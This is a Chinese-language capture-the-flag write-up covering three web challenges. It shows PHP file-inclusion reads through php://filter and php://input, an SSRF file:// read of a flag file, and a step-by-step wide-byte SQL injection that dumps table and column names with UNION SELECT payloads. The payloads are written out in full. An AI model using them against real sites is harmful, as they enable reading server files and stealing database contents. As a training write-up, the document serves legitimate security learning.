week 5 for cnas writeup
Dec 16, 2017
躲猫猫 50
题目链接
http://47.100.121.220:28001/01.php
解答
这个题目又是一个文件包含的题目,这里直接用
1 | file=php://filter/read=convert.base64-encode/resource=./flag.php |
是读不到源码的,好像是因为这题目的flag并不是在flag.php文件里,flag.php文件并不存在。
所以我们先用php://input 协议来查看当前目录文件
构造如下payload得到du0maOma0_flag.php文件
这里可以用cat du0maOma0_flag.php来读文件的,
但是一定要查看源码!查看源码!查看源码!
重要的事情说三遍!
此时也可以再利用
1 | file=php://filter/read=convert.base64-encode/resource=./du0maOma0_flag.php |
来读取文件源码
直接base64解码即可
02 100
题目链接
解答
这个题目我一拿到说就看出来是一个SSRF的题目了,也猜到了代码应该就是
我这篇博客里面的第一种没有任何防护的SSRF。
尝试了 利用file协议任意文件读取 是成功的
然后没有查看help 是一个phpinfo的页面 找到目录
1 | WEB_DOCUMENT_ROOT /app |
当时就尝试了 如下payload
1 | http://47.100.121.220:28002/02.php?url=file:///app/flag.php |
但是由于没有去查看源码,就错过了flag,然后一直在纠结利用gopher协议反弹shell
后来在甜哥的提醒下才发现可以直接读出flag的
查看源码就可以了,真的有点尴尬的。
msg_book 200
题目链接
解答
这个题目是一个注入的题,这里的’被转义了,尝试宽字节注入,是可以的。
这里可以参考我的博客
在引号前加一个%df即可,具体原理参考博客
下面基本是利用手注的方法
1 | msg_id=1%df'order by 1 # |
得到字段数为2
1 | msg_id=1%df'union select 1,database() # |
得到当前数据库:week05_03
1 | msg_id=1%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # |
得到当前数据库的表名:flag,msg_book
1 | msg_id=1%df'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167 #(flag的十六进制) |
这里因为单引号被过滤了,所以要用十六进制
得到列名:flag
最后直接
1 | msg_id=1%df'union select 1,flag from flag # |
发现自己手注的过程还是不熟悉,需要多多练习